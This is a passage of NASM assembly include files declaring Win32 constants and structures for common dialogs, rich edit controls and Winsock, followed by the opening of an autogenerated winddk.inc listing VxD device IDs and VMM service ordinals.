PD_USEDEVMODECOPIES equ 00040000h
PD_DISABLEPRINTTOFILE equ 00080000h
PD_HIDEPRINTTOFILE equ 00100000h
PDERR_PRINTERCODES equ 1000h
PDERR_SETUPFAILURE equ 1001h
PDERR_PARSEFAILURE equ 1002h
PDERR_RETDEFFAILURE equ 1003h
PDERR_LOADDRVFAILURE equ 1004h
PDERR_GETDEVMODEFAIL equ 1005h
PDERR_INITFAILURE equ 1006h
PDERR_NODEVICES equ 1007h
PDERR_NODEFAULTPRN equ 1008h
PDERR_DNDMMISMATCH equ 1009h
PDERR_CREATEICFAILURE equ 100Ah
PDERR_PRINTERNOTFOUND equ 100Bh
PDERR_DEFAULTDIFFERENT equ 100Ch
DN_DEFAULTPRN equ 0001h
OFN_ALLOWMULTISELECT equ 00000200h
OFN_CREATEPROMPT equ 00002000h
OFN_ENABLEHOOK equ 00000020h
OFN_ENABLETEMPLATE equ 00000040h
OFN_ENABLETEMPLATEHANDLE equ 00000080h
OFN_EXPLORER equ 00080000h
OFN_EXTENSIONDIFFERENT equ 00000400h
OFN_FILEMUSTEXIST equ 00001000h
OFN_HIDEREADONLY equ 00000004h
OFN_LONGNAMES equ 00200000h
OFN_NOCHANGEDIR equ 00000008h
OFN_NODEREFERENCELINKS equ 00100000h
OFN_NOLONGNAMES equ 00040000h
OFN_NONETWORKBUTTON equ 00020000h
OFN_NOREADONLYRETURN equ 00008000h
OFN_NOTESTFILECREATE equ 00010000h
OFN_NOVALIDATE equ 00000100h
OFN_OVERWRITEPROMPT equ 00000002h
OFN_PATHMUSTEXIST equ 00000800h
OFN_READONLY equ 00000001h
OFN_SHAREAWARE equ 00004000h
OFN_SHOWHELP equ 00000010h
OFN_SHAREFALLTHROUGH equ 2
OFN_SHARENOWARN equ 1
OFN_SHAREWARN equ 0
CDERR_DIALOGFAILURE equ 0FFFFh
FNERR_FILENAMECODES equ 3000h
FNERR_SUBCLASSFAILURE equ 3001h
FNERR_INVALIDFILENAME equ 3002h
FNERR_BUFFERTOOSMALL equ 3003h
;--------------------------comdlg structures----------------------------
STRUC CHOOSECOLORAPI
.lStructSize RESD 1
.hwndOwner RESD 1
.hInstance RESD 1
.rgbResult RESD 1
.lpCustColors RESD 1
.Flags RESD 1
.lCustData RESD 1
.lpfnHook RESD 1
.lpTemplateName RESD 1
ENDSTRUC

STRUC FINDREPLACE
.lStructSize RESD 1
.hWndOwner RESD 1
.hInstance RESD 1
.Flags RESD 1
.lpstrFindWhat RESD 1
.lpstrReplaceWith RESD 1
.wFindWhatLen RESW 1
.wReplaceWithLen RESW 1
.lCustData RESD 1
.lpfnHook RESD 1
.lpTemplateName RESD 1
ENDSTRUC

STRUC CHOOSEFONTAPI
.lStructSize RESD 1
.hWndOwner RESD 1
.hDC RESD 1
.lpLogFont RESD 1
.iPointSize RESD 1
.Flags RESD 1
.rgbColors RESD 1
.lCustData RESD 1
.lpfnHook RESD 1
.lpTemplateName RESD 1
.hInstance RESD 1
.lpszStyle RESD 1
.nFontType RESW 1
.Alignment RESW 1
.nSizeMin RESD 1
.nSizeMax RESD 1
ENDSTRUC

STRUC PRINTDLGAPI
.lStructSize RESD 1
.hWndOwner RESD 1
.hDevMode RESD 1
.hDevNames RESD 1
.hDC RESD 1
.Flags RESD 1
.nFromPage RESW 1
.nToPage RESW 1
.nMinPage RESW 1
.nMaxPage RESW 1
.nCopies RESW 1
.hInstance RESD 1
.lCustData RESD 1
.lpfnPrintHook RESD 1
.lpfnSetupHook RESD 1
.lpPrintTemplateName RESD 1
.lpPrintSetupTemplateName RESD 1
.hPrintTemplate RESD 1
.hSetupTemplate RESD 1
ENDSTRUC

STRUC OPENFILENAME
.lStructSize RESD 1
.hWndOwner RESD 1
.hInstance RESD 1
.lpstrFilter RESD 1
.lpstrCustomFilter RESD 1
.nMaxCustFilter RESD 1
.nFilterIndex RESD 1
.lpstrFile RESD 1
.nMaxFile RESD 1
.lpstrFileTitle RESD 1
.nMaxFileTitle RESD 1
.lpstrInitialDir RESD 1
.lpstrTitle RESD 1
.Flags RESD 1
.nFileOffset RESW 1
.nFileExtension RESW 1
.lpstrDefExt RESD 1
.lCustData RESD 1
.lpfnHook RESD 1
.lpTemplateName RESD 1
ENDSTRUC

;--------------------------riched equates-------------------------------
cchTextLimitDefault equ 32767
EM_CANPASTE equ WM_USER+50
EM_DISPLAYBAND equ WM_USER+51
EM_EXGETSEL equ WM_USER+52
EM_EXLIMITTEXT equ WM_USER+53
EM_EXLINEFROMCHAR equ WM_USER+54
EM_EXSETSEL equ WM_USER+55
EM_FINDTEXT equ WM_USER+56
EM_FORMATRANGE equ WM_USER+57
EM_GETCHARFORMAT equ WM_USER+58
EM_GETEVENTMASK equ WM_USER+59
EM_GETOLEINTERFACE equ WM_USER+60
EM_GETPARAFORMAT equ WM_USER+61
EM_GETSELTEXT equ WM_USER+62
EM_HIDESELECTION equ WM_USER+63
EM_PASTESPECIAL equ WM_USER+64
EM_REQUESTRESIZE equ WM_USER+65
EM_SELECTIONTYPE equ WM_USER+66
EM_SETBKGNDCOLOR equ WM_USER+67
EM_SETCHARFORMAT equ WM_USER+68
EM_SETEVENTMASK equ WM_USER+69
EM_SETOLECALLBACK equ WM_USER+70
EM_SETPARAFORMAT equ WM_USER+71
EM_SETTARGETDEVICE equ WM_USER+72
EM_STREAMIN equ WM_USER+73
EM_STREAMOUT equ WM_USER+74
EM_GETTEXTRANGE equ WM_USER+75
EM_FINDWORDBREAK equ WM_USER+76
EM_SETOPTIONS equ WM_USER+77
EM_GETOPTIONS equ WM_USER+78
EM_FINDTEXTEX equ WM_USER+79
EM_GETWORDBREAKPROCEX equ WM_USER+80
EM_SETWORDBREAKPROCEX equ WM_USER+81
EM_SETPUNCTUATION equ WM_USER+100
EM_GETPUNCTUATION equ WM_USER+101
EM_SETWORDWRAPMODE equ WM_USER+102
EM_GETWORDWRAPMODE equ WM_USER+103
EM_SETIMECOLOR equ WM_USER+104
EM_GETIMECOLOR equ WM_USER+105
EM_SETIMEOPTIONS equ WM_USER+106
EM_GETIMEOPTIONS equ WM_USER+107
EN_MSGFILTER equ 0700h
EN_REQUESTRESIZE equ 0701h
EN_SELCHANGE equ 0702h
EN_DROPFILES equ 0703h
EN_PROTECTED equ 0704h
EN_CORRECTTEXT equ 0705h
EN_STOPNOUNDO equ 0706h
EN_IMECHANGE equ 0707h
EN_SAVECLIPBOARD equ 0708h
EN_OLEOPFAILED equ 0709h
ENM_NONE equ 00000000h
ENM_CHANGE equ 00000001h
ENM_UPDATE equ 00000002h
ENM_SCROLL equ 00000004h
ENM_KEYEVENTS equ 00010000h
ENM_MOUSEEVENTS equ 00020000h
ENM_REQUESTRESIZE equ 00040000h
ENM_SELCHANGE equ 00080000h
ENM_DROPFILES equ 00100000h
ENM_PROTECTED equ 00200000h
ENM_CORRECTTEXT equ 00400000h
ENM_IMECHANGE equ 00800000h
ES_SAVESEL equ 00008000h
ES_SUNKEN equ 00004000h
ES_DISABLENOSCROLL equ 00002000h
ES_SELECTIONBAR equ 01000000h
ES_EX_NOCALLOLEINIT equ 01000000h
ES_VERTICAL equ 00400000h
ES_NOIME equ 00080000h
ES_SELFIME equ 00040000h
ECO_AUTOWORDSELECTION equ 00000001h
ECO_AUTOVSCROLL equ 00000040h
ECO_AUTOHSCROLL equ 00000080h
ECO_NOHIDESEL equ 00000100h
ECO_READONLY equ 00000800h
ECO_WANTRETURN equ 00001000h
ECO_SAVESEL equ 00008000h
ECO_SELECTIONBAR equ 01000000h
ECO_VERTICAL equ 00400000h
ECOOP_SET equ 0001h
ECOOP_OR equ 0002h
ECOOP_AND equ 0003h
ECOOP_XOR equ 0004h
WB_CLASSIFY equ 3
WB_MOVEWORDLEFT equ 4
WB_MOVEWORDRIGHT equ 5
WB_LEFTBREAK equ 6
WB_RIGHTBREAK equ 7
WB_MOVEWORDPREV equ 4
WB_MOVEWORDNEXT equ 5
WB_PREVBREAK equ 6
WB_NEXTBREAK equ 7
PC_FOLLOWING equ 1
PC_LEADING equ 2
PC_OVERFLOW equ 3
PC_DELIMITER equ 4
WBF_WORDWRAP equ 010h
WBF_WORDBREAK equ 020h
WBF_OVERFLOW equ 040h
WBF_LEVEL1 equ 080h
WBF_LEVEL2 equ 100h
WBF_CUSTOM equ 200h
IMF_FORCENONE equ 0001h
IMF_FORCEENABLE equ 0002h
IMF_FORCEDISABLE equ 0004h
IMF_CLOSESTATUSWINDOW equ 0008h
IMF_VERTICAL equ 0020h
IMF_FORCEACTIVE equ 0040h
IMF_FORCEINACTIVE equ 0080h
IMF_FORCEREMEMBER equ 0100h
WBF_CLASS equ 0Fh
WBF_ISWHITE equ 10h
WBF_BREAKLINE equ 20h
WBF_BREAKAFTER equ 40h
CFM_BOLD equ 00000001h
CFM_ITALIC equ 00000002h
CFM_UNDERLINE equ 00000004h
CFM_STRIKEOUT equ 00000008h
CFM_PROTECTED equ 00000010h
CFM_SIZE equ 80000000h
CFM_COLOR equ 40000000h
CFM_FACE equ 20000000h
CFM_OFFSET equ 10000000h
CFM_CHARSET equ 08000000h
CFE_BOLD equ 0001h
CFE_ITALIC equ 0002h
CFE_UNDERLINE equ 0004h
CFE_STRIKEOUT equ 0008h
CFE_PROTECTED equ 0010h
CFE_AUTOCOLOR equ 40000000h
yHeightCharPtsMost equ 1638
SCF_SELECTION equ 0001h
SCF_WORD equ 0002h
SF_TEXT equ 0001h
SF_RTF equ 0002h
SF_RTFNOOBJS equ 0003h
SF_TEXTIZED equ 0004h
SFF_SELECTION equ 8000h
SFF_PLAINRTF equ 4000h
MAX_TAB_STOPS equ 32
lDefaultTab equ 720
PFM_STARTINDENT equ 00000001h
PFM_RIGHTINDENT equ 00000002h
PFM_OFFSET equ 00000004h
PFM_ALIGNMENT equ 00000008h
PFM_TABSTOPS equ 00000010h
PFM_NUMBERING equ 00000020h
PFM_OFFSETINDENT equ 80000000h
PFN_BULLET equ 0001h
PFA_LEFT equ 0001h
PFA_RIGHT equ 0002h
PFA_CENTER equ 0003h
SEL_EMPTY equ 0000h
SEL_TEXT equ 0001h
SEL_OBJECT equ 0002h
SEL_MULTICHAR equ 0004h
SEL_MULTIOBJECT equ 0008h
OLEOP_DOVERB equ 1
;--------------------------riched structures-----------------------------
STRUC CHARFORMAT
.cbSize RESD 1
.dwMask RESD 1
.dwEffects RESD 1
.yHeight RESD 1
.yOffset RESD 1
.crTextColor RESD 1
.bCharSet RESB 1
.bPitchAndFamily RESB 1
.szFaceName RESB 1
ENDSTRUC

STRUC CHARRANGE
.cpMin RESD 1
.cpMax RESD 1
ENDSTRUC

STRUC TEXTRANGE
.chrg RESB CHARRANGE_size
.lpstrText RESD 1
ENDSTRUC

STRUC EDITSTREAM
.dwCookie RESD 1
.dwError RESD 1
.pfnCallback RESD 1
ENDSTRUC

STRUC FINDTEXT
.chrg RESB CHARRANGE_size
.lpstrText RESD 1
ENDSTRUC

STRUC FINDTEXTEX
.chrg RESB CHARRANGE_size
.lpstrText RESD 1
.chrgText RESB CHARRANGE_size
ENDSTRUC

STRUC FORMATRANGE
.hdc RESD 1
.hdcTarget RESD 1
.rc RESB RECT_size
.rcPage RESB RECT_size
.chrg RESB CHARRANGE_size
ENDSTRUC

STRUC PARAFORMAT
.cbSize RESD 1
.dwMask RESD 1
.wNumbering RESW 1
.wReserved RESW 1
.dxStartIndent RESD 1
.dxRightIndent RESD 1
.dxOffset RESD 1
.wAlignment RESW 1
.cTabCount RESW 1
.rgxTabs RESD 1
ENDSTRUC

STRUC MSGFILTER
.nmhdr RESB NMHDR_size
.msg RESD 1
.wParam RESD 1
.lParam RESD 1
ENDSTRUC

STRUC REQRESIZE
.nmhdr RESB NMHDR_size
.rc RESB RECT_size
ENDSTRUC

STRUC SELCHANGE
.nmhdr RESB NMHDR_size
.chrg RESB CHARRANGE_size
.seltyp RESW 1
ENDSTRUC

STRUC ENDROPFILES
.nmhdr RESB NMHDR_size
.hDrop RESD 1
.cp RESD 1
.fProtected RESD 1
ENDSTRUC

STRUC ENPROTECTED
.nmhdr RESB NMHDR_size
.msg RESD 1
.wParam RESD 1
.lParam RESD 1
.chrg RESB CHARRANGE_size
ENDSTRUC

STRUC ENSAVECLIPBOARD
.nmhdr RESB NMHDR_size
.cObjectCount RESD 1
.cch RESD 1
ENDSTRUC

STRUC ENOLEOPFAILED
.nmhdr RESB NMHDR_size
.iob RESD 1
.lOper RESD 1
.hr RESD 1
ENDSTRUC

STRUC ENCORRECTTEXT
.nmhdr RESB NMHDR_size
.chrg RESB CHARRANGE_size
.seltyp RESW 1
ENDSTRUC

STRUC PUNCTUATION
.iSize RESD 1
.szPunctuation RESD 1
ENDSTRUC

STRUC COMPCOLOR
.crText RESD 1
.crBackground RESD 1
.dwEffects RESD 1
ENDSTRUC

STRUC REPASTESPECIAL
.dwAspect RESD 1
.dwParam RESD 1
ENDSTRUC

;--------------------------wsock32 equates-------------------------------
WSADESCRIPTION_LEN equ 256
WSASYS_STATUS_LEN equ 128
IPPROTO_IP equ 0
IPPROTO_ICMP equ 1
IPPROTO_GGP equ 2
IPPROTO_TCP equ 6
IPPROTO_PUP equ 12
IPPROTO_UDP equ 17
IPPROTO_IDP equ 22
IPPROTO_ND equ 77
IPPROTO_RAW equ 255
IPPROTO_MAX equ 256
IOCPARM_MASK equ 7Fh
IOC_VOID equ 20000000h
IOC_OUT equ 40000000h
IOC_IN equ 80000000h
IOC_INOUT equ IOC_IN|IOC_OUT
FIONBIO equ 8004667Eh
FIONSYNC equ 8004667Dh
FIONREAD equ 4004667Fh
IPPORT_ECHO equ 7
IPPORT_DISCARD equ 9
IPPORT_SYSTAT equ 11
IPPORT_DAYTIME equ 13
IPPORT_NETSTAT equ 15
IPPORT_FTP equ 21
IPPORT_TELNET equ 23
IPPORT_SMTP equ 25
IPPORT_TIMESERVER equ 37
IPPORT_NAMESERVER equ 42
IPPORT_WHOIS equ 43
IPPORT_MTP equ 57
IPPORT_TFTP equ 69
IPPORT_RJE equ 77
IPPORT_FINGER equ 79
IPPORT_TTYLINK equ 87
IPPORT_SUPDUP equ 95
IPPORT_EXECSERVER equ 512
IPPORT_LOGINSERVER equ 513
IPPORT_CMDSERVER equ 514
IPPORT_EFSSERVER equ 520
IPPORT_BIFFUDP equ 512
IPPORT_WHOSERVER equ 513
IPPORT_ROUTESERVER equ 520
IPPORT_RESERVED equ 1024
IMPLINK_IP equ 155
IMPLINK_LOWEXPER equ 156
IMPLINK_HIGHEXPER equ 158
IN_CLASSA_NET equ 0FF000000h
IN_CLASSA_NSHIFT equ 24
IN_CLASSA_HOST equ 000FFFFFFh
IN_CLASSA_MAX equ 128
IN_CLASSB_NET equ 0FFFF0000h
IN_CLASSB_NSHIFT equ 16
IN_CLASSB_HOST equ 00000FFFFh
IN_CLASSB_MAX equ 65536
IN_CLASSC_NET equ 0FFFFFF00h
IN_CLASSC_NSHIFT equ 8
IN_CLASSC_HOST equ 0000000FFh
INADDR_ANY equ 000000000h
INADDR_LOOPBACK equ 07F000001h
INADDR_BROADCAST equ 0FFFFFFFFh
INADDR_NONE equ 0FFFFFFFFh
SOCK_STREAM equ 1
SOCK_DGRAM equ 2
SOCK_RAW equ 3
SOCK_RDM equ 4
SOCK_SEQPACKET equ 5
SO_DEBUG equ 00001h
SO_ACCEPTCONN equ 00002h
SO_REUSEADDR equ 00004h
SO_KEEPALIVE equ 00008h
SO_DONTROUTE equ 00010h
SO_BROADCAST equ 00020h
SO_USELOOPBACK equ 00040h
SO_LINGER equ 00080h
SO_OOBINLINE equ 00100h
SOL_SOCKET equ 0FFFFh
SO_DONTLINGER equ (-1-SO_LINGER)
SO_SNDBUF equ 01001h
SO_RCVBUF equ 01002h
SO_SNDLOWAT equ 01003h
SO_RCVLOWAT equ 01004h
SO_SNDTIMEO equ 01005h
SO_RCVTIMEO equ 01006h
SO_ERROR equ 01007h
SO_TYPE equ 01008h
TCP_NODELAY equ 00001h
AF_UNSPEC equ 0
AF_UNIX equ 1
AF_INET equ 2
AF_IMPLINK equ 3
AF_PUP equ 4
AF_CHAOS equ 5
AF_NS equ 6
AF_IPX equ 6
AF_ISO equ 7
AF_OSI equ AF_ISO
AF_ECMA equ 8
AF_DATAKIT equ 9
AF_CCITT equ 10
AF_SNA equ 11
AF_DECnet equ 12
AF_DLI equ 13
AF_LAT equ 14
AF_HYLINK equ 15
AF_APPLETALK equ 16
AF_NETBIOS equ 17
AF_MAX equ 18
PF_UNSPEC equ AF_UNSPEC
PF_UNIX equ AF_UNIX
PF_INET equ AF_INET
PF_IMPLINK equ AF_IMPLINK
PF_PUP equ AF_PUP
PF_CHAOS equ AF_CHAOS
PF_NS equ AF_NS
PF_IPX equ AF_IPX
PF_ISO equ AF_ISO
PF_OSI equ AF_OSI
PF_ECMA equ AF_ECMA
PF_DATAKIT equ AF_DATAKIT
PF_CCITT equ AF_CCITT
PF_SNA equ AF_SNA
PF_DECnet equ AF_DECnet
PF_DLI equ AF_DLI
PF_LAT equ AF_LAT
PF_HYLINK equ AF_HYLINK
PF_APPLETALK equ AF_APPLETALK
PF_MAX equ AF_MAX
SOMAXCONN equ 5
MSG_OOB equ 01h
MSG_PEEK equ 02h
MSG_DONTROUTE equ 04h
MSG_MAXIOVLEN equ 16
MAXGETHOSTSTRUCT equ 1024
FD_READ equ 001h
FD_WRITE equ 002h
FD_OOB equ 004h
FD_ACCEPT equ 008h
FD_CONNECT equ 010h
FD_CLOSE equ 020h
WSABASEERR equ 10000
WSAEINTR equ WSABASEERR+4
WSAEBADF equ WSABASEERR+9
WSAEACCES equ WSABASEERR+13
WSAEFAULT equ WSABASEERR+14
WSAEINVAL equ WSABASEERR+22
WSAEMFILE equ WSABASEERR+24
WSAEWOULDBLOCK equ WSABASEERR+35
WSAEINPROGRESS equ WSABASEERR+36
WSAEALREADY equ WSABASEERR+37
WSAENOTSOCK equ WSABASEERR+38
WSAEDESTADDRREQ equ WSABASEERR+39
WSAEMSGSIZE equ WSABASEERR+40
WSAEPROTOTYPE equ WSABASEERR+41
WSAENOPROTOOPT equ WSABASEERR+42
WSAEPROTONOSUPPORT equ WSABASEERR+43
WSAESOCKTNOSUPPORT equ WSABASEERR+44
WSAEOPNOTSUPP equ WSABASEERR+45
WSAEPFNOSUPPORT equ WSABASEERR+46
WSAEAFNOSUPPORT equ WSABASEERR+47
WSAEADDRINUSE equ WSABASEERR+48
WSAEADDRNOTAVAIL equ WSABASEERR+49
WSAENETDOWN equ WSABASEERR+50
WSAENETUNREACH equ WSABASEERR+51
WSAENETRESET equ WSABASEERR+52
WSAECONNABORTED equ WSABASEERR+53
WSAECONNRESET equ WSABASEERR+54
WSAENOBUFS equ WSABASEERR+55
WSAEISCONN equ WSABASEERR+56
WSAENOTCONN equ WSABASEERR+57
WSAESHUTDOWN equ WSABASEERR+58
WSAETOOMANYREFS equ WSABASEERR+59
WSAETIMEDOUT equ WSABASEERR+60
WSAECONNREFUSED equ WSABASEERR+61
WSAELOOP equ WSABASEERR+62
WSAENAMETOOLONG equ WSABASEERR+63
WSAEHOSTDOWN equ WSABASEERR+64
WSAEHOSTUNREACH equ WSABASEERR+65
WSAENOTEMPTY equ WSABASEERR+66
WSAEPROCLIM equ WSABASEERR+67
WSAEUSERS equ WSABASEERR+68
WSAEDQUOT equ WSABASEERR+69
WSAESTALE equ WSABASEERR+70
WSAEREMOTE equ WSABASEERR+71
WSASYSNOTREADY equ WSABASEERR+91
WSAVERNOTSUPPORTED equ WSABASEERR+92
WSANOTINITIALISED equ WSABASEERR+93
WSAHOST_NOT_FOUND equ WSABASEERR+1001
HOST_NOT_FOUND equ WSAHOST_NOT_FOUND
WSATRY_AGAIN equ WSABASEERR+1002
TRY_AGAIN equ WSATRY_AGAIN
WSANO_RECOVERY equ WSABASEERR+1003
NO_RECOVERY equ WSANO_RECOVERY
WSANO_DATA equ WSABASEERR+1004
NO_DATA equ WSANO_DATA
WSANO_ADDRESS equ WSANO_DATA
NO_ADDRESS equ WSANO_ADDRESS
EWOULDBLOCK equ WSAEWOULDBLOCK
EINPROGRESS equ WSAEINPROGRESS
EALREADY equ WSAEALREADY
ENOTSOCK equ WSAENOTSOCK
EDESTADDRREQ equ WSAEDESTADDRREQ
EMSGSIZE equ WSAEMSGSIZE
EPROTOTYPE equ WSAEPROTOTYPE
ENOPROTOOPT equ WSAENOPROTOOPT
EPROTONOSUPPORT equ WSAEPROTONOSUPPORT
ESOCKTNOSUPPORT equ WSAESOCKTNOSUPPORT
EOPNOTSUPP equ WSAEOPNOTSUPP
EPFNOSUPPORT equ WSAEPFNOSUPPORT
EAFNOSUPPORT equ WSAEAFNOSUPPORT
EADDRINUSE equ WSAEADDRINUSE
EADDRNOTAVAIL equ WSAEADDRNOTAVAIL
ENETDOWN equ WSAENETDOWN
ENETUNREACH equ WSAENETUNREACH
ENETRESET equ WSAENETRESET
ECONNABORTED equ WSAECONNABORTED
ECONNRESET equ WSAECONNRESET
ENOBUFS equ WSAENOBUFS
EISCONN equ WSAEISCONN
ENOTCONN equ WSAENOTCONN
ESHUTDOWN equ WSAESHUTDOWN
ETOOMANYREFS equ WSAETOOMANYREFS
ETIMEDOUT equ WSAETIMEDOUT
ECONNREFUSED equ WSAECONNREFUSED
ELOOP equ WSAELOOP
ENAMETOOLONG equ WSAENAMETOOLONG
EHOSTDOWN equ WSAEHOSTDOWN
EHOSTUNREACH equ WSAEHOSTUNREACH
ENOTEMPTY equ WSAENOTEMPTY
EPROCLIM equ WSAEPROCLIM
EUSERS equ WSAEUSERS
EDQUOT equ WSAEDQUOT
ESTALE equ WSAESTALE
EREMOTE equ WSAEREMOTE
FD_SETSIZE equ 64
INVALID_SOCKET equ (-1-0)
SOCKET_ERROR equ -1
SOCKET_BUFFER_SIZE equ 512
ICMP_ECHOREPLY equ 0
ICMP_ECHOREQ equ 8
;------------------------wsock32 structures-----------------------------
STRUC fd_setstruc
.fd_count RESD 1
.fd_array RESD 1
ENDSTRUC

STRUC timeval
.tv_sec RESD 1
.tv_usec RESD 1
ENDSTRUC

STRUC sockaddr_in
.sin_family RESW 1
.sin_port RESW 1
.sin_addr RESD 1
.sin_zero RESB 8
ENDSTRUC

STRUC sockaddr
.sa_family RESW 1
.sa_data RESW 1
ENDSTRUC

STRUC WSAdata
.wVersion RESW 1
.wHighVersion RESW 1
.szDescription RESB WSADESCRIPTION_LEN+1
.szSystemStatus RESB WSASYS_STATUS_LEN+1
.iMaxSockets RESW 1
.iMaxUdpDg RESW 1
.lpVendorInfo RESD 1
ENDSTRUC
STRUC sockproto
.sp_family RESW 1
.sp_protocol RESW 1
ENDSTRUC

STRUC linger
.l_onoff RESW 1
.l_linger RESW 1
ENDSTRUC

STRUC hostentStru
.h_name RESD 1
.h_alias RESD 1
.h_addr RESW 1
.h_len RESW 1
.h_list RESD 1
ENDSTRUC

STRUC netent
.n_name RESD 1
.n_aliases RESD 1
.n_addrtype RESW 1
.n_net RESD 1
ENDSTRUC

STRUC servent
.s_name RESD 1
.s_aliases RESD 1
.s_port RESW 1
.s_proto RESD 1
ENDSTRUC

STRUC icmp_hdr
.icmp_type RESB 1
.icmp_code RESB 1
.icmp_cksum RESW 1
.icmp_id RESW 1
.icmp_seq RESW 1
.icmp_data RESB 1
ENDSTRUC

STRUC ip_hdr
.ip_hlv RESB 1
.ip_tos RESB 1
.ip_len RESW 1
.ip_id RESW 1
.ip_off RESW 1
.ip_ttl RESB 1
.ip_p RESB 1
.ip_cksum RESW 1
.ip_src RESD 1
.ip_dest RESD 1
ENDSTRUC

STRUC ICMP_OPTIONS
.Ttl RESB 1
.Tos RESB 1
.Flags RESB 1
.OptionsSize RESB 1
.OptionsData RESD 1
ENDSTRUC

STRUC ICMP_ECHO_REPLY
.Address RESD 1
.Status RESD 1
.RoundTripTime RESD 1
.DataSize RESW 1
.Reserved RESW 1
.DataPointer RESD 1
.Options RESD 1
.zData RESB 250
ENDSTRUC
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WIN32N.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WINDDK.INC]ÄÄÄ
;///////////////////////////////////////////////////////////////////
;// winddk.inc
;//
;// This NASM include file has been autogenerated by VXDi2n
;// from Windows DDK Include direcrory ()
;//

%ifndef INCLUDED_WINDDK_INC__
%define INCLUDED_WINDDK_INC__

VMM_Device_ID equ 0x0001


DEBUG_Device_ID equ 0x0002
VPICD_Device_ID equ 0x0003
VDMAD_Device_ID equ 0x0004
VTD_Device_ID equ 0x0005
V86MMGR_Device_ID equ 0x0006
PageSwap_Device_ID equ 0x0007
PARITY_Device_ID equ 0x0008
REBOOT_Device_ID equ 0x0009
VDD_Device_ID equ 0x000a
VSD_Device_ID equ 0x000b
VMD_Device_ID equ 0x000c
VKD_Device_ID equ 0x000d
VCD_Device_ID equ 0x000e
VPD_Device_ID equ 0x000f
BlockDev_Device_ID equ 0x0010
VMCPD_Device_ID equ 0x0011
EBIOS_Device_ID equ 0x0012
BIOSXLAT_Device_ID equ 0x0013
VNETBIOS_Device_ID equ 0x0014
DOSMGR_Device_ID equ 0x0015
WINLOAD_Device_ID equ 0x0016
SHELL_Device_ID equ 0x0017
VMPoll_Device_ID equ 0x0018
VPROD_Device_ID equ 0x0019
DOSNET_Device_ID equ 0x001a
VFD_Device_ID equ 0x001b
VDD2_Device_ID equ 0x001c
WINDEBUG_Device_ID equ 0x001d
TSRLOAD_Device_ID equ 0x001e
BIOSHOOK_Device_ID equ 0x001f
Int13_Device_ID equ 0x0020
PageFile_Device_ID equ 0x0021
SCSI_Device_ID equ 0x0022
SCSIFD_Device_ID equ 0x0024
VPEND_Device_ID equ 0x0025
APM_Device_ID equ 0x0026
VXDLDR_Device_ID equ 0x0027
Ndis_Device_ID equ 0x0028
VWIN32_Device_ID equ 0x002a
VCOMM_Device_ID equ 0x002b
SPOOLER_Device_ID equ 0x002c
WIN32S_Device_ID equ 0x002d
DEBUGCMD_Device_ID equ 0x002e
CONFIGMG_Device_ID equ 0x0033
DWCFGMG_Device_ID equ 0x0034
SCSIPORT_Device_ID equ 0x0035
VFBACKUP_Device_ID equ 0x0036
ENABLE_Device_ID equ 0x0037
VCOND_Device_ID equ 0x0038
ISAPNP_Device_ID equ 0x003c
BIOS_Device_ID equ 0x003d
IFSMgr_Device_ID equ 0x0040
VCDFSD_Device_ID equ 0x0041
MRCI2_Device_ID equ 0x0042
PCI_Device_ID equ 0x0043
PELOADER_Device_ID equ 0x0044
EISA_Device_ID equ 0x0045
DRAGCLI_Device_ID equ 0x0046
DRAGSRV_Device_ID equ 0x0047
PERF_Device_ID equ 0x0048
AWREDIR_Device_ID equ 0x0049
DDS_Device_ID equ 0x004a
NTKERN_Device_ID equ 0x004b
VDOSKEYD_Device_ID equ 0x004b
ACPI_Device_ID equ 0x004c
UDF_Device_ID equ 0x004d
SMCLIB_Device_ID equ 0x004e
ETEN_Device_ID equ 0x0060
CHBIOS_Device_ID equ 0x0061
VMSGD_Device_ID equ 0x0062
VPPID_Device_ID equ 0x0063
VIME_Device_ID equ 0x0064
VHBIOSD_Device_ID equ 0x0065

Begin_Service_Table VMM ; 0x0001


VMM_Service Get_VMM_Version ; 0x0000 ord
VMM_Service Get_Cur_VM_Handle ; 0x0001 ord
VMM_Service Test_Cur_VM_Handle ; 0x0002 ord
VMM_Service Get_Sys_VM_Handle ; 0x0003 ord
VMM_Service Test_Sys_VM_Handle ; 0x0004 ord
VMM_Service Validate_VM_Handle ; 0x0005 ord
VMM_Service Get_VMM_Reenter_Count ; 0x0006 ord
VMM_Service Begin_Reentrant_Execution ; 0x0007 ord
VMM_Service End_Reentrant_Execution ; 0x0008 ord
VMM_Service Install_V86_Break_Point ; 0x0009 ord
VMM_Service Remove_V86_Break_Point ; 0x000a ord
VMM_Service Allocate_V86_Call_Back ; 0x000b ord
VMM_Service Allocate_PM_Call_Back ; 0x000c ord
VMM_Service Call_When_VM_Returns ; 0x000d ord
VMM_Service Schedule_Global_Event ; 0x000e ord
VMM_Service Schedule_VM_Event ; 0x000f ord
VMM_Service Call_Global_Event ; 0x0010 ord
VMM_Service Call_VM_Event ; 0x0011 ord
VMM_Service Cancel_Global_Event ; 0x0012 ord
VMM_Service Cancel_VM_Event ; 0x0013 ord
VMM_Service Call_Priority_VM_Event ; 0x0014 ord
VMM_Service Cancel_Priority_VM_Event ; 0x0015 ord
VMM_Service Get_NMI_Handler_Addr ; 0x0016 ord
VMM_Service Set_NMI_Handler_Addr ; 0x0017 ord
VMM_Service Hook_NMI_Event ; 0x0018 ord
VMM_Service Call_When_VM_Ints_Enabled ; 0x0019 ord
VMM_Service Enable_VM_Ints ; 0x001a ord
VMM_Service Disable_VM_Ints ; 0x001b ord
VMM_Service Map_Flat ; 0x001c ord
VMM_Service Map_Lin_To_VM_Addr ; 0x001d ord
VMM_Service Adjust_Exec_Priority ; 0x001e ord
VMM_Service Begin_Critical_Section ; 0x001f ord
VMM_Service End_Critical_Section ; 0x0020 ord
VMM_Service End_Crit_And_Suspend ; 0x0021 ord
VMM_Service Claim_Critical_Section ; 0x0022 ord
VMM_Service Release_Critical_Section ; 0x0023 ord
VMM_Service Call_When_Not_Critical ; 0x0024 ord
VMM_Service Create_Semaphore ; 0x0025 ord
VMM_Service Destroy_Semaphore ; 0x0026 ord
